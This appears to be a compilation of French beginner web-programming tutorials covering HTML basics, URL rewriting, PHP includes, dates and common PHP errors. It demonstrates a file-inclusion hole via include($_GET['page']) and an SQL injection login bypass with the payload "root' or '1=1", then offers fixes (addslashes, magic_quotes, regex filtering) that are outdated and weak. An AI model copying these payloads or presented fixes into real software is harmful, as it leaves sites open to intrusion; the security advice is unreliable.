php

Cours html

Faire ma premiere page web

1ére chose à faire :
un dossier nommé par exemple SITE.
à l’interieur on créer un fichier HTML vierge (“clic droit” nouveau fichier HTML).
on le baptise mapage.html

et on l’ouvre, ouais super une page blanche!

dans le menu affichage du navigateur on clique sur “afficher la source”
et voilà ce qu’on trouve:

<html>
<head>
<title></title>
<style></style>
</head>
<body>
</body>
</html>

des <BALISES> dites ouvrantes
des </BALISES> dites fermantes
en effet on </> referme toujours une balise. (on verra les exeptions)
<>ouvert
</> fermé

Important : chaque fois qu’on apportera une modification dans le code il ne faudra pas oublier de réactualiser la page dans le navigateur !
ces <BALISES> s’adresse donc aux navigateurs alors traduction:

<html> on ouvre un document HTML
<head> début du HEAD du document
<title>titre</title> le titre qui sera lisible dans la barre de titre
<style></style> les indications de styles, on y viendra plus tard
</head> fin du HEAD, on le referme
<body> corps du document, là on s’adresse au lecteur
</body> fin du BODY on referme, il n’y a plus rien à voir
</html> le document HTML est termin&eacute.

On récapitule :
ce qui se trouve entre <html>et </html> c’est la totalité du document
ce qui se trouve entre <head>et </head> ne sera pas visible à l’écran mais lu pars le navigateur
ce qui se trouve entre <body>et </body> sera visible à l’écran
Okeiii !

ben c’est cool on viens de faire notre 1ere page blanche. C’est bien, mais, loin d’être fini !

Les couleurs html
Les couleurs peuvent ètre définies de differentes manières :

d’abord le plus facile, révision de 6ème les couleurs in english !

red : rouge
blue : bleu
green : vert
orange : orange :)
etc … etc …

Pour mettre une couleur à un texte, il faudra l’entourer de la balise <font> en lui indiquand qu’elle couleurs grace à l’attribut color.
Ex : <font color=”red”>Texte</font>

Bon, cette balise est actuellement à l’abandon au profit de <span> et </span> complétée par une feuille de style CSS
Euhhh…! CSS ? oui bon on verra plus tard pour l’instant restons simple :

<font color=”red”>c’est rouge ouais!</font>
<font color=”green”>c’est vert ouais!</font>
<font color=”blue”>c’est blue ouais!</font>
<font color=”yellow”>c’est jaune ouais!</font>
<font color=”orange”>yeah i’m speack english now!</font>

et il y en a beaucoup plus qu’on le pense!

et notre page blanche ? Oui, on peut aussi définir un fond.
<body bgcolor=”yellow”>

et la seconde solution pour les couleurs ?

ben la méthode binaire de Boby ç’était marrant non ? Essayons maintenant de compter en hexadécimale !
on va compter un peu en base 16…c’est trés simple on dépassera pas 16 !

0=0, 1=1, 2=2, 3=3, …=…, 9=9, 10=a, 11=b, 12=c, 13=d, 14=e, 15=f.

Pour déclarer une couleur en hexadécimale, on note de cette façon :
<font color=”#RougeVertBleu”>Texte</font>
Ce qui donnera :
<font color=”#ff0000″>un texte rouge</font>

Pourquoi?
ff = le rouge
00 = le vert
00 = le bleu
On mélange le tout, et on obtient du rouge pure.

Quelques exemple :
<font color=”#ff0000″>c’est Red ouais!</font>
<font color=”#00ff00″>c’est Green ouais!</font>
<font color=”#0000ff”>c’est Blue ouais!</font>
[color=black] <font color=”#000000″>black</font> [/color]
[color=grey] <font color=”#bbbbbb”>gris</font> [/color]

et le blanc #ffffff tout simplement!
(appris au collège normalement)

Le nombre de couleurs possibles en hexadécilame :
16×16x16×16x16×16 couleurs, j’ai pas assez de doigts pour vérifier !

Un lien vers une palette de couleurs

pssst! il y a pas d’images ? > on y viens !
La suite : intégration d’immage en html

Les images en HTML
<i>Prérequis : mettre des images dans un dossier que l’on nommera “images” dans notre dossier “site”.</i>

d’abord la balise <img/> et c’est tout
comme notre balise <font> et </font> seule elle sert pas à grand chose.
alors : <img src=”images/tape.gif”/> j’aime le bricolage !
<img src=”nomdudossier/nomimage.extention”/>
trois petites choses utiles :
<img src=”images/godet.gif” align=”absmiddle”/>
<img src=”images/godet.gif” align=”texttop”/>
il y’en a d’autres mais avec ces trois ça va bien!
elle est pas un peu petite ?

ben allons y pour la taille !
par soucis de simplification on ne retiendra que la taille en pixels px il faut le savoir mème si on s’en passe.
width = largeur, height = hauteur chouette on révise.
<img src=”images/tape.gif” width=”50″/>
en utilisant 1 seul attribut height ou width on redimensione l’image de façon proportionelle donc on ne la déforme pas, mais si on veut on peut hé hé
<img src=”images/tape.gif” width=”70″ height=”25″/>
<img src=”images/godet.gif” width=”40″ height=”60″ align=”absmiddle”/>

Les liens
<i>Comment et o&ugrave; s’en servir</i>

La balise <a>et</a> son utilisation principale, faire des liens :
<a href=”images4.html”>page des images</a>
<a href=”nomdossier/nomfichier.extension”>une image par exemple</a>
<a href=”http://www.google.fr”>une adresse</a>

Pas compliqué dans la balise <a href=”la cible”> et entre les balises ce que voit l’utilisateur: le lien</a>
et pour le bon plaisir des internautes on peut même glisser une image entre les deux balises;
dans ce cas on parle “d’image cliquable”, à mon avis c’est pas du bon french mais ça marche !
<a href=”fichier.html”><img src=”images/smiley.gif”/>plus du texte</a>

un lien vers un endroit précis dans un document :
d’abord il faut mettre une “ancre” à l’endroit ciblé :
<a name=”le1000″>

le liens qui cible vers cette ancre
<a href=”fichier.html#le1000″>je vise juste</a>

Ma premiere page html

2 ou 3 trucs avant d’attaquer:
Pour mettre des commentaires à l’interieur de son code, trés pratique et même recomandé pour savoir ce qu”on à voulu faire:

<!–commentaire invisible à l’écran–>

donc : <!– un texte –>

pour dire au navigateur de sauter un ligne :<br/>
pour en sauter deux :<br/><br/>

Ben alors quand je saute une ligne avec la touche ENTER ça sert à rien ?
Eh non, on peut écrire et disposer ses lignes de code comme on a envie le navigateur s’en moque éperduement, la seule chose qui l’interesse ce sont les balises !

<html>
<head>
<title></title>
<style></style>
</head>
<body>
</body>
</html>

aura le mème effet que:

<html><head><title></title><style></style></head><body></body></html>

Bon alors quand est-ce qu’on écrit ?
maintenant!

donc entre la balise <body> et </body> :

<h1>titre le plus gros</h1>
<h2>sous titre</h2>
<h3>encore plus petit</h3>
<h6>jusqu’au plus minus de tous</h6>

donc du plus gros au plus petit :
<h1>
à
<h6>

On remarque qu’un saut de ligne est automatiquement inclus aux balises <h1> à <h6>

Ton titre il est pas beau, il est même pô centré!

<center>ben voilà avec ça je centre ça qua je veus na!</center>

Ensuite, le texte normal : pas de balise Ouf!

Du texte normal amélioré :
<b> le texte en gras</b>
<i> le texte en italique</i>
<u> je souligne</u>

et maintenant on melange tout !

<b><i><u>ouille ouille ouille !</u></i></b>

Attention ! premiere ouverte derniere fermée c’est la règle pour toutes les balises
et puisque on est dans le texte, une liste à puce:

<ul><!–j’ouvre la balise de liste à puce–>

* <li>
la 1ère ligne
* </li> <li>
la 2ème ligne
* </li> <li>
la 3ème ligne
* </li> <li>
la 4ème ligne
</li>

</ul>

Caractères encodés
C’est quoi ces signes tout vilains quand j’écris des accents ?

bien que les navigateurs récents aient tendances à bien retranscrire les lettres accentuées, il vaut mieux prendre quelques précautions:

les accents aigues :
é se note &eacute;
ú se note &uacute;
É se note &Eacute;

les accents graves :
è se note &egrave;
à se note &agrave;
À se note &Agrave;

les accents circonflexes :
ê se note &ecirc;
û se note &ucirc;
Ô se note &Ocirc;

le ç :
ç se note &ccedil;
simple non ?

Une dernière chose:
Pour déclarer un paragraphes, on utilise <p> et <p/>

Fini ! Un petit aspirine ?

La suite : Les couleurs HTML

Cours php

Chaines de caracteres et PHP

Création de site

Date PHP

Fonction PHP

Inclassables PHP

Introdution au PHP

Les Sessions PHP

Les variables PHP

PHP

L’URL Rewriting est une technique utilisée pour optimiser le référencement des sites dynamiques (utilisant des pages dynamiques). Les pages dynamiques sont caractérisées par des URL complexes, comportant en général un point d’interrogation, éventuellement le caractère & ainsi que des noms de variables et des valeurs.

Exemple : article.php?id=12&page=2&rubrique=5
Dans cet exemple, le fichier article.php est utilisé pour afficher un article dont le texte vient d’une base de données. C’est un fichier générique, qui peut afficher n’importe quel article, de n’importe quelle rubrique, page par page. Ici on cherche à afficher la page 2 de l’article numéro 12 qui fait partie de la rubrique 5.

Le problème est que certains moteurs n’indexent pas les pages ayant des URL de ce type. Google par exemple n’indexe en général que les pages ayant au maximum 2 paramètres dans l’URL : il n’indexe donc pas une page comme celle de notre exemple.

Grâce à l’URL Rewriting, Google ainsi que n’importe quel robot va pouvoir indexer les pages dynamiques. L’intérêt est par exemple d’avoir plusieurs milliers de pages de votre site indexées dans Google (le catalogue de tous vos produits, votre forum, etc.).

URL Rewriting : comment ça marche ?
Le principe de l’URL Rewriting est très simple : sur un site qui utilise l’URL Rewriting, on ne peut plus se rendre compte qu’il est basé sur des pages dynamiques. En effet, les URL sont “propres” : elles ne contiennent plus tous les caractères spéciaux comme ? ou &. Personne ne peut savoir qu’il s’agit de pages dynamiques, que ce soit un robot d’indexation ou un internaute. Exemple : les pages de la FAQ Google de ce site (sauf la page principale…).

Le webmaster doit changer la façon dont il écrit les liens, selon des règles qu’il va se fixer lui-même. En reprenant l’exemple ci-dessus, on peut remarquer que les URL pour les pages d’articles ont toutes la même forme. On va donc changer nos scripts PHP et nos liens à l’intérieur du site selon le modèle suivant : article_12_2_5.html

Quand un internaute demande cette page, le serveur va appliquer une règle de réécriture d’URL (décrite dans un fichier .htaccess) et renvoyer la même chose que si l’internaute avait demandé la page article.php?id=12&page=2&rubrique=5.

Remarque : même si l’URL Rewriting est mis en place, on peut toujours accéder aux pages en utilisant l’ancienne URL. Il faut donc veiller à changer tous les liens à l’intérieur de son site pour qu’ils soient tous au nouveau format.

Tester si le mod_rewrite est actif chez votre hébergeur
Avant de se lancer plus loin dans les explications, voici comment tester si le module mod_rewrite est actif chez votre hébergeur. Comme pour toutes manipulations qui peuvent impacter le bon fonctionnement de votre site, nous vous conseillons de faire ces essais en période creuse, en évitant par exemple la période de “full crawl” de Google.

1. Créez un fichier HTML simple, nommez-le “trouve.html”.
2. Modifiez le fichier .htaccess en y ajoutant les 3 lignes suivantes. Faites très attention à utiliser la syntaxe précise ou mieux, utilisez le copier/coller :

Options +FollowSymlinks
RewriteEngine on
RewriteRule ^nexistepas.html$ trouve.html [L]

3. Téléchargez le fichier .htaccess et le fichier trouve.html à la racine de votre site web. Laissez votre client FTP ouvert pour pouvoir enlever le fichier .htaccess au cas où cela ne fonctionne pas.

4. Lancez votre navigateur et entrez l’URL : http://www.votresite.com/nexistepas.html

Et là, deux solutions se présentent :
* Soit votre page test “trouve.html” s’affiche c’est parfait, le module est activé.
* Soit vous avez une erreur 404 ou encore plus probablement une erreur 500 et malheureusement il n’y a pas grand-chose à faire… si ce n’est retirer tout de suite le fichier .htaccess avec le client FTP (vous l’aviez bien laissé ouvert comme suggéré plus haut, non ?).

Exemple d’url rewriting
Voici maintenant quelques exemple pour illustré tout ce blabla
(… en cours désolé, presque fini)

Si vuos n’avez pas compris, ou, vous chercher un page plus explicite, venez sur le forum du site , et on essayera de régler votre problème.

Les include PHP ou pseudo frame PHP


Les include() PHP
(Php Pseudo Frames)

Programmer en PHP sans include, c’est que à mon avis, vous ne programmer rien du tout oui! La fonction require() et include() sert à inclure un autre fichier. En générale, on s’en plus pour créer un code plus lisible. Genre, on écrit toute nos fonctions sur une page, et, des que l’on en aura besoin, on l’appelle.

On s’en sert aussi pour faire comme les frames HTML, appellez communément “PHP pseudo Frames” et c’est là ou je veut en venir …

Le principe :

On fais passer un paramettre dans l’url et on inclus une page en fonction de sa valeur

Voici un exemple de pseudo frames NON sécurisé :

créer le fichier index.php :

<table><tr><td>
<a href=”index.php?page=page1.php”>Menu1</a>
<a href=”index.php?page=page2.php”>Menu2</a>
</td><td>
<?php
if($_GET[page]){
include($_GET['page']);
}
?>

Créer ensuite une page “page1.php” ainsi qu’une page “page2.php” que vous mettrez dans le MEME répertoire que index.php.
Allez sur la page index.php, et cliquez sur un des liens. Normalement, si tout c’est bien passé, la page demandé devrai apparaitre.

Tout ceci est très bien, si ce n’est que sur internet, créer un site web en PHP demande TOUJOURS de se renseigner sur la sécurité. C’est assès contraignant au début mais je vous assure que ceci vaut le temps qu’on y passe.

Donc, vous vous en serez douté, dans l’exemple cité audessus, y’a ce qu’on appelle une ENORME faille de sécurité. Tapé ceci dans votre navigateur : index.php?page=http://www.google.fr/index.html

Surprise, vous allez vous retrouvez avec la page de google inclus dans votre site !

Ceci en soit n’est pas grave, mais, imaginons que quelqu’un essaye de faire pareil une page avec un code PHP ou autre malicieux ! ceci entrainerai dans le meilleur des cas à un avertissement de la part de la personne qui a découvert la faille, au pire des cas à la suppression du site en entier voir du serveur s’il est mal configurer.

Pour combler cette faille nous devons vérifier si la page demandé existe belle et bien sur le serveur.

Exemple de pseudo frame SECURISE ! :

Le nouveau code corrigé de la page index.php :
(vous pouvez aussi créer la page par defaut (ici accueil.php))

<html>
<head>
<title>Pseudo Frame PHP</title>
</head>
<body>
<h1>Pseudo Frame PHP</h1>
<ul>
<li><a href=”./index.php”>Accueil</a></Li>
<li><a href=”./index.php?page=page1″>Page 1</a></Li>
<li><a href=”./index.php?page=page2″>Page 2</a></Li>
</ul>
<div>
<?php
// si votre site n’est pas à la racine du serveur, vous pouvez avoir besoin de dire OU se trouve la page index.php
$_chemin = ’/';

// la page par defaut, si les valeurs fournies sont incorrect :
$page_defaut = ’accueil’;

// on recupere la valeur passé dans l’url :
if(isset($_GET["page"]))
$page=$_GET["page"];
else
$page=$page_defaut;

//Enlevons les caractères html
$page=htmlentities($page, ENT_QUOTES);

//Si on a des répertoires que l’on ne veut pas accéder, un les liste ici :
$repProteger=array(‘include’, ’libs’, ’admin’);
$temp=split(‘/’,$page);
if(in_array($temp[0],$repProteger)){ $page=$page_defaut; }

//Si jamais qq tente de penetre dans le serveur en utilisant des ./ ou :/
if(eregi(“(:/)|(./)”,$page)){ $page=$page_defaut; }

//Testons si la page demandé existe bien en local
if(file_exists($_SERVER["DOCUMENT_ROOT"].$_chemin.’/’.$page.’.php’))
include($page.’.php’);
elseif(file_exists($page_defaut.’.php’))
include($page_defaut.’.php’);
else
exit(“Erreur : La page par defaut n’existe pas.”);
?>
</div>
</body>
</html>


Exemple : Pseudo Frame PHP

Quelques exlications

Tout d’abord, on défini une page qui sera utilisé sir les valeurs passé dans l’url de son pas correct: $page_defaut

1) On vérifie si la variable $page existe bien. Si elle n’existe pas, on lui donne la valeur par defaut ($page_defaut).

2) On enlève tout code html/javascript que quelqu’un pourrais faire passer dans l’url.

3) On vérifi si la variable $page ne contiendrai pas de “:/” … si oui, on redéfini la variable à la valeur par defaut ($page_defaut).

4) Ensuite, ici, vous pourrez mettre les répertoire auquel vous ne voulais pas donner accés. Facultatif.

5) Si jamais quelqu’un tente de lire les fichiers de votre site en amont de l’endroit actuel, on défini la page par defaut ($page_defaut).

6) Puis, finalement, on teste si le fichier demandé existe bien sur le serveur. En utilisant $DOCUMENT_ROOT, on est donc sur que la vérification ce fais sur le serveur et non sur un autre site.

Si vous avez des questions ou des idées pour améliré cette page, faite nous en part sur le forum à en cliquand ici :
Pseudo Frames PHP

Date et heure PHP

Un exemple pour commencer :

<?PHP
$date = date(“d-m-Y”);
$heure = date(“H:i”);
Print(“Nous sommes le $date et il est $heure”);
?>


Ce qui nous donnera :

Nous sommes le 19-05-2005 et il est 20:52

C’est donc la fonction date() qui permet d’obtenir l’heure locale du serveur, mais attention l’heure locale est fonction de la situation géographique du serveur en lui-même. En effet un serveur situé au canada vous donnera l’heure du canada, en ce qui nous concerne les serveurs de Free.fr sont en France donc l’heure locale sera l’heure Française :) .

Dans le code ci-dessus nous générons la variable $date() en lui donnant la valeur de ce que retourne la fonction date()(“d-m-Y”) en l’occurrence : 19-05-2005. Les paramètres contenus entre les parenthèses d-m-Y peuvent être placés dans l’ordre que vous désirez, ainsi la date au format US sera écrite ainsi : date(“Y-m-d”), il existe beaucoup de paramètres. (extrait de la doc. en Français de Nexen.net)

La fonction date(); peut prendre beaucoup d’attributs. Voici les plus utilis&eacute;s :
a – “am” (matin) ou “pm” (après-midi)
A – “AM” (matin) ou “PM” (après-midi)
d – Jour du mois, sur deux chiffres (éventuellement avec un zéros) : “01″ à “31″
D – Jour de la semaine, en trois lettres (et en anglais) : par exemple “Fri” (pour Vendredi)
F – Mois, textuel, version longue; en anglais, i.e. “January” (pour Janvier)
h – Heure, au format 12h, “01″ à “12″
H – heure, au format 24h, “00″ à “23″
g – Heure, au format 12h sans les zéros initiaux, “1″ à “12″
G – Heure, au format 24h sans les zéros initiaux, “0″ à “23″
i – Minutes; “00″ à “59″
j – Jour du mois sans les zéros initiaux: “1″ à “31″
l – (‘L’ minuscule) – Jour de la semaine, textuel, version longue; en anglais, i.e. “Friday” (pour Vendredi)
L – Booléen pour savoir si l’année est bissextile (“1″) ou pas (“0″)
m – - Mois; i.e. “01″ à “12″
n – Mois sans les zéros initiaux; i.e. “1″ à “12″
M – Mois, en trois lettres (et en anglais) : par exemple “Jan” (pour Janvier)
s – Secondes; i.e. “00″ à “59″
S – Suffixe ordinal d’un nom

Autres techniques pour afficher la date
Il existe plusieurs autre fonctions en PHP pour afficher une date :
mktime > Voir un cours sur l’introduction &agrave; mktime
date
timestamp

Comme toujours, il faut utiliser chaque fonctions au bon endroit pour avoir un code optimis&eacute;.

get_meta_tags – extraire les balises métas d’une page HTML


Exemple de code pour utiliser la fonction get_meta_tags.
Elle permet de récupérer les entête HTML (entre <head> et </head>) d’une page web.

<?php
// Adresse de la page
// (elle pourrai aussi provenir d’un formulaire)
$page = ’http://www.graphiks.net’;

//on test pour voir si la page retournerai pas une erreur
//le @ devant la fonction get_meta_tags permet de ne pas retourner d’erreur si la réponse est false
if(!$meta=@get_meta_tags($page)){

echo ’Le lien que vous avez fournis ne semble pas répondre.’;

}else{

//si aucune erreur n’est détecter, on peut extraire les informations meta
//une liste non exaustive : description, keywords, revisit-after, location, content-language, etc…
//la variable retourne sous forme de tableau chacun des ses informations.
//exemple :

$description=$meta['description'];
$keywords=$meta['keywords'];
$revisit=$meta['revisit-after'];
$locatio=$meta['location'];
$language=$meta['content-language'];
/* etc … */

}
?>

Erreurs de requêtes MySQL en PHP


Erreurs de requêtes MySQL en PHP
La configuration du serveur doit être avec les Magic_quotes=Off pour que cette exemple fonctionne.

Le problèmes de mettre des variables dans une requête MySQL c’est la posibilités de pouvoir exploiter une faille par injection. Par contre, si votre serveur a les magic_quotes à On, vous ne risquez pas grand chose, enfin, moins. (à voir dans php.ini)

Un exemple de reqête mysql pour une identification par login et mot de passe :

select * from Table where login=’$login’ and password=’$mdp


Le formulaire pour être de ce genre :

Login :
<input name=”mdp” id=”mdp” type=”text”>
&nbsp;&nbsp;&nbsp;Mot de passe :
<input name=”textfield2″ type=”text”>

Le code qui récupèrera les données du formulaire :

$login=$_POST[login];
$pass=$_POST[mdp];
$req=”select * from Table where login=’$login’ and password=’$pass’”

C’est un code que pas mal de débutants (plus haut aussi des fois :) ) utilisent, bon, la suite ne marche pas sur tous les serveur, ça dépend de la configuration.
Aller maintenant sur la page du page formulaire et taper ceci :
[quote]Login : test1′ or ‘1=1
Mot de passe : test2′ or ‘1=1[quote]
Cliquer sur valider …
et, surprise, vous est loguez !
Suffit ensuite de choisir mieux votre login pour tomber sur le compte de l’admin, ou root. ex :
Login : [b]root’ or ‘1=1[b]
Mot de passe : test2′ or ‘1=1

Explications
Voici à quoi ressemble votre requête avec les informations fourni par le formulaire :

$req=”select * from Table where login=’root’ or ’1=1′ and password=’test2′ or ’1=1′”


je pense que vous avez mainteannt compris. En utilisant le OR ‘1=1, on est sur de toujours avoir une réponse affirmative.

Si vous ne pouvez changer la configuration de votre serveur, il suffit d’utiliser la function addslashes() pour ajouter des slash devant tous les ‘ ou “…
Le code sécurisé :
$login=addslashes($_POST[login]);
$pass=addslashes($_POST[mdp]);
$req=”select * from Table where login=’$login’ and password=’$pass’”;

Qui vous donnera cette requête :
$req=”select * from Table where login=’root\’ or \’1=1′ and password=’test2\’ or \’1=1′”;

Si vous pouvez changer la configuration, editer le fichier php.ini, chercher la ligne magic_quotes=Off, et mettez On à la place de Off.

Si vous rencontrez des erreurs, des chose que je dit complètement fausses, merci de me prévenir.
Si vous utilisez EasyPhp 1.7, php.ini est déjà configurer avec les magic_quotes à On, donc, pas de soucis à ce faire !

Les erreurs communs en PHP


Texte de Stéphane Pineau.
Sont site : http://steph.pineau.free.fr/php/index.php

Quand les commentaires sont interprétés…

Sous PHP3, ne vous hasardez pas à mettre un <? et encore moins un ?> dans un commentaire de script (simple ou multi-lignes). Car il semblerait que la recherche des tags ouvrants et fermant aient la priorité sur les tags d\’ouverture de commentaire. Du coup quand PHP trouve un ?> dans un commentaire il s\’embrouille légèrement. Ceci s\’applique également d\’ailleurs quand l\’un de ces deux tags se retrouve dans une chaine de caractères encadrée par des guillemets ou des apostrophes (simple quote).

Afficher le contenu d\’une variable incluse dans une chaine de caractères.

PHP n\’interprête le contenu d\’une variable dans une chaine de caractères que si cette dernière est encadrée par des guillemets. Si la chaine est encadrée par des apostrophes (simple quote), il affiche le nom de la variables. Soit par exemple avec $TOTO=\”JEUDI\”

echo \”Aujourd\’hui nous sommes $TOTO\”;

Affiche Aujourd\’hui nous sommes JEUDI

echo \’Aujourd\’hui nous sommes $TOTO\’;

Affiche Aujoutd\’hui nous sommes $TOTO

Compter le nombre d\’éléments d\’un tableau passé à un script depuis un formulaire

Soit un formulaire utilisant une variable tableau pour contenir les valeurs :

<FORM METHOD=\’POST\’ ACTION=\’script.php\’>
<INPUT TYPE=\’text\’ NAME=\’MONTABLEAU[]\’>
<INPUT TYPE=\’text\’ NAME=\’MONTABLEAU[]\’>
<INPUT TYPE=\’text\’ NAME=\’MONTABLEAU[]\’>
</FORM>

Pour connaitre le nombre d\’éléments contenus dans MONTABLEAU[] la première idée est d\’utiliser la fonction Count :$X=count($MONTABLEAU);). Si on teste toutefois on s\’appercevra que dans l\’exemple donné $X contiendra toujours la valeur 3 correspondant au nombre de champs du formulaire. On en déduit donc que le formulaire soit rempli entièrement ou nom, PHP passe un tableau ayant réservé un espace pour chaque champ. Pour connaitre le nombre réel d\’éléments il faut donc utiliser une boucle, qui teste chaque élément du tableau pour voir s\’il est vide ou non :

$NB_ELEMENTS=0;
For ($X=0;$X<count($MONTABLEAU);$x++){
If (Strlen(Trim($MONTABLEAU[$X]))==0):
$NB_ELEMENTS++;
endif;
}

Un test conditionnel qui donne des résultats bizarres

Un grand classique du genre. Dans un script il arrive fréquemment que l\’on teste que deux variables soient de valeurs identiques. Et parfois, sans qu\’on comprenne pourquoi, le test foire ou quelques lignes après le test on se retrouve avec des valeurs incorrectes dans un variable. En général il est inutile de chercher bien loin, on aura simplement oublié de signe = dans le test conditionnel.

L\’opérateur d\’équivalence est doit être indiqué par un double signe = soit == (ou un triple signe = à partir de PHP4 pour vérifier également l\’équivalence du typage des variables), un signe égal seul correspond lui au signe d\’affectation.

If ($x=$y):

génère donc un problème, puisqu\’au lieu de tester l\’équivalence entre $x et $y PHP affecte la valeur de $y à $x. La syntaxe correcte est donc

if ($x==$y) :
.

Une boucle qui donne des résultats bizarres….

Encore une erreur sournoise…cette fois avec une boucle. Soit l\’exemple suivant :

for($x=0; $x<10; $x++) ;
{
echo \”La valeur de x est = $x<br>\\r\\n\”;
}

Ce bout de code n\’affichera qu\’une seule fois la phrase \”La valeur de x est 10\” et la valeur sera toujours 10. L\’erreur vient tout simplement du point virgule placé à la fin de la ligne for(…) et encore une fois des syntaxe permissive de PHP. Dans ce cas de figure PHP comprend qu\’il doit exécuter 10 le code contenu tout de suite après le for() et jusqu\’au point-virgule. Comme en l\’occurence il n\’y a rien entre les deux, la boucle s\’exécute bien jusqu\’à ce que $x égale 10, mais ne fait rien d\’autre.
Le programme se poursuit ensuite tout à fait normalement (la présence d\’accolades ne se référant à aucune instruction de bloc ne le gêne pas). Il affiche donc la dernière valeur de $x (incrémentée dans la boucle for qui a tourné à vide), soit 10.

Une parenthèse bien mal placée…

Et encore une erreur liée à une problème de syntaxe…Personnellement il m\’est arrivé de la faire plusieurs fois. Le problème se pose tout bêtement avec une parenthèse mal placée dans un test :

$Txt=\”Bonjour\”;
IF (Strlen($Txt==7)):
echo \”Ok\”;
Else:
echo \”Not Ok\”;
Endif;

Ce test destiné à vérifier la longueur d\’une chaine renverra toujours \”Ok\” sous PHP3, quelque soit la longueur de $Txt, et ce tout simplement parceque la parenthèse fermante de la fonction Strlen est placée après le \”7\” et non après le \”$Txt\”. La fonction n\’est pas gênée de recevoir \”$Txt==7\” en paramètre, il n\’y a pas de message d\’erreur mais elle se contente de renvoyer 0 pour signaler qu\’elle n\’a pu déterminer la longueur du paramètre car elle ne l\’a pas reconnu comme une chaine.
Comme par ailleurs telle qu\’écrite la ligne \”IF…\” revient à tester le retour de la fonction et non l\’équivalence avec une valeur, et que la valeur 0 d\’erreur retournée équivaut à un \”True\” la condition est toujours vérifiée.
Ici l\’exemple utilise la fonction \”strlen\” mais cette erreur peut se produire avec bien d\’autres fonctions que l\’on tente de comparer avec une valeur. A noter que sous PHP4 cette syntaxe génère une erreur.

Syntaxes alternées dans des instructions conditionnelles imbriquées.

Le parser PHP3 n\’apprécie guère dans les test conditionnels imbriqué l\’utilisation des deux types de syntaxe autorisées à savoir soit l\’utilisation d\’accolades pour séparer les blocs et l\’utilisation d\’un : et des instructions else, elseif, endif. Exemple de syntaxe à problème :

If ($X==$Y):
if ($W>$Y){
……
}
Else
while ($Z<$W):
….
Endwhile;
Endif;

\”Variable passed to each() is not an array or object in…\”

La plupart du temps ce message d\’erreur s\’affiche lorsque l\’on tente d\’accéder à un tableau vide. Par exemple le code suivant déclenche ce message si $TABLEAU[] ne contient aucun élément.

ksort($TABLEAU);
While (List($KEY,$VALUE)=each($TABLEAU)):
echo (\”$KEY -> $VALUE\”);
EndWhile;

Pour éviter ce problème, ajoutez un test sur le nombre d\’éléments contenus dans le tableau via la fonction count (NB: voir aussi Compter le nombre d\’éléments d\’un tableau passé à un script depuis un fomulaire) :

if (count($TABLEAU)>0):
ksort($TABLEAU);
While (List($KEY,$VALUE)=each($TABLEAU)):
echo (\”$KEY -> $VALUE\”);
EndWhile;
Endif;

Utilisation de la fonction strpos()

La fonction strpos() permet de connaitre la position de la première occurence d\’une chaine contenu dans une autre chaine. Toutefois comme le premier caractère d\’une chaine à pour numéro d\’ordre 0 et non 1, se pose le problème de la différenciation entre une chaine contenant la chaine recherchée en début (donc la fonction retourne 0) et une chaine ne contenant pas la chaine recherchée. La syntaxe suivante est donc incorrecte.

$POS=strpos($ChercheDans,$LaChaine,$Apartir_du_Caract._n°);
if ($POS==0):
…..
Endif;

La fonction ne peut renvoyer 0 (valeur généralement utilisée en retour pour signaler un echec) puisque cette valeur 0 correspond justement à la position réelle du 1er caractère. Aussi PHP retourne une chaine de caractère contenant \’false\’ si la recherche échoue, et une valeur numérique si elle a aboutie (la chaine recherchée est trouvée dans la chaine principale). Pour obtenir un test correct il faut donc tester le type de la valeur retournée avant de poursuivre les traitements :

$POS=strpos($ChercheDans,$LaChaine,$Apartir_du_Caract._n°);
if (!is_string($POS)):
// Cette syntaxe est correcte. On n\’entre dans
// la boucle que si la valeur retournée
// est une valeur numérique.
…..
Endif;

Une autre astuce, s\’il s\’agit simplement de vérifier l\’existence d\’une sous-chaine dans une chaine, donc qu\’aucun traitement sur la chaine principale n\’est conditionnée par la position de la sous-chaine (comme couper la chaine à partir de la sous-chaine), et que par ailleurs on ne souhaite pas utiliser les fonctions EREG_xxx basées sur les expressions régulières :

IF (strpos(\” \”.$ChercheDans,$LaChaine,$Apartir_du_Caract._n°) >0) :
// Notez l\’espace ajouté au début de
// la chaine. Ainsi sauf si la sous-chaine commence
// également par un espace, la condition n\’est
// vérifiée effectivement que si la
// la sous-chaine est trouvée et ce sans avoir
// tester le type de la valeur renvoyée.

Contenu tronqué d\’une variable récupérée en tant que valeur dans un champ de formulaire

Il est parfois utile de récupérer le contenu d\’une variable PHP dans un champ de formulaire. Toutefois il y a de nombreaux pièges qui ont pour origine en fait la syntaxe HTML. Partons d\’un exemple simple, en supposant que la page suivante récupère via l\’url par exemple une variable $MAVAR passée en paramètre dont le contenu est Ceci est mon texte.

<HTML>
<HEAD></HEAD>
<BODY>
<form action=\’result.php\’ method=\’post\’>
<input type=\’text\’ name=\’MAVAR_ENSORTIE\’ value=<?php echo $MAVAR; ?>
>
</BODY>
</HTML>

Lors de la validation de ce formulaire on s\’attend donc à ce que le formulaire affiche dans la zone de saisie le contenu de $MAVAR soit \”Ceci est mon texte\”. Pourtant ce n\’est pas le cas, le champ contient uniquement \”Ceci\”. La raison est simple. En HTML, les navigateurs interprete tout ce qui suit le signe = placé à droite d\’un paramètre comme la valeur d\’un paramètre et ce jusqu\’au premier espace rencontré. Les caractères suivant sont considérés comme le nom du paramètre suivant. Ceci s\’applique du moins par défaut quand ce qui suit le signe = n\’est pas encadré par des guillemets ou des apostrophes (simple quote) \’ \’. Ce qui est le cas dans l\’exemple. Pour remédier à ce problème on rajoute simplement les apostrophes autour de la variable. NB: On utilisera toujours les apostrophes de préférence aux guillemets :

<HTML>
<HEAD></HEAD>
<BODY>
<form action=\’result.php\’ method=\’post\’>
<input type=\’text\’ name=\’MAVAR_ENSORTIE\’ value=\’<?php echo $MAVAR; ?>\’ >
</BODY>
</HTML>

Maintenant se pose un autre problème… que va-t\’il se passer si la variable $MAVAR contient une apostrophe, par exemple \”Ceci est la page de Steph\’ – Bonjour !\”? PHP va générer et envoyer la page suivante après avoir remplacé le contenu de $MAVAR.

<input type=\’text\’ name=\’MAVAR_ENSORTIE\’ value=\’Ceci est la page de Stéph\’ – Bonjour \’<

Le navigateur applique dans ce cas la règle que si le première caractère qui suit le signe = est une apostrophe, tout ce qui suit jusqu\’à la prochaine apostrophe correspond à la valeur du paramètre, et ce qui suit ensuite est un nouveau paramètre. Du coup en appliquant bêtement ce principe le champ de saisie ne va afficher que \”Ceci est la page de Stéph\”. Et il s\’arrête là puisque que le navigateur vient de rencontrer une apostrophe, celle contenue dans notre variable. Pour lui tout ce qui suit n\’a plus rien à voir.

